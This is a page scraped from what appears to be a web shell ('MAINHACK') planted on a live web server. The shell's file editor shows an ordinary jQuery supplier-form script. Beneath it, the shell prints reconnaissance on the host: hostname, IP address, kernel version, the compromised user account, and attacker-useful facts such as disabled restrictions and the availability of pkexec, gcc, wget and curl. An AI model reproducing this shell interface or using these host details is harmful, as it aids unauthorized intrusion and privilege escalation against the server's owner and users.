[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: supplier.js
$(document).ready(function(){ "use strict"; let baseURL = $("#base_url").val(); let The_Supplier_Name_field_required = $('#The_Supplier_Name_field_required').val(); let The_Contact_Person_field_required = $('#The_Contact_Person_field_required').val(); let The_Phone_field_is_required = $('#The_Phone_field_is_required').val(); $('#supplierModal').on('hidden.bs.modal', function() { $(this).find('form').trigger('reset'); }); $(document).on('click', '#addSupplier', function() { let name = $('input[name=name]').val(); let contact_person = $('input[name=contact_person]').val(); let phone = $('input[name=phone]').val(); let emailAddress = $('input[name=emailAddress]').val(); let supAddress = $('textarea[name=supAddress]').val(); let description = $('textarea[name=description]').val(); let error = 0; if(name == '') { error = 1; let cl1 = ".supplier_err_msg"; let cl2 = ".supplier_err_msg_contnr"; $(cl1).text(The_Supplier_Name_field_required); $(cl2).show(200).delay(6000).hide(200,function(){ }); } else { $('input[name=name]').css('border', '1px solid #ccc'); } if(contact_person == '') { error = 1; let cl1 = ".customer_err_msg"; let cl2 = ".customer_err_msg_contnr"; $(cl1).text(The_Contact_Person_field_required); $(cl2).show(200).delay(6000).hide(200,function(){ }); } else { $('input[name=contact_person]').css('border', '1px solid #ccc'); } if(phone == '') { error = 1; let cl1 = ".customer_phone_err_msg"; let cl2 = ".customer_phone_err_msg_contnr"; $(cl1).text(The_Phone_field_is_required); $(cl2).show(200).delay(6000).hide(200,function(){ }); } else { $('input[name=phone]').css('border', '1px solid #ccc'); } if(error == 0) { $.ajax({ url:baseURL+'Purchase/addNewSupplierByAjax', method:"GET", data: { name:name, contact_person:contact_person, phone:phone, emailAddress:emailAddress, supAddress:supAddress, description:description }, success:function(data){ data=JSON.parse(data); let supplier_id=data.supplier_id; $.ajax({ url:baseURL+'Purchase/getSupplierList', method:"GET", data: { }, success:function(data){ $("#supplier_id").empty(); $("#supplier_id").append(data); $('#supplier_id').val(supplier_id).change(); } }); $('.btn-close').click(); } }); } }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.06 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002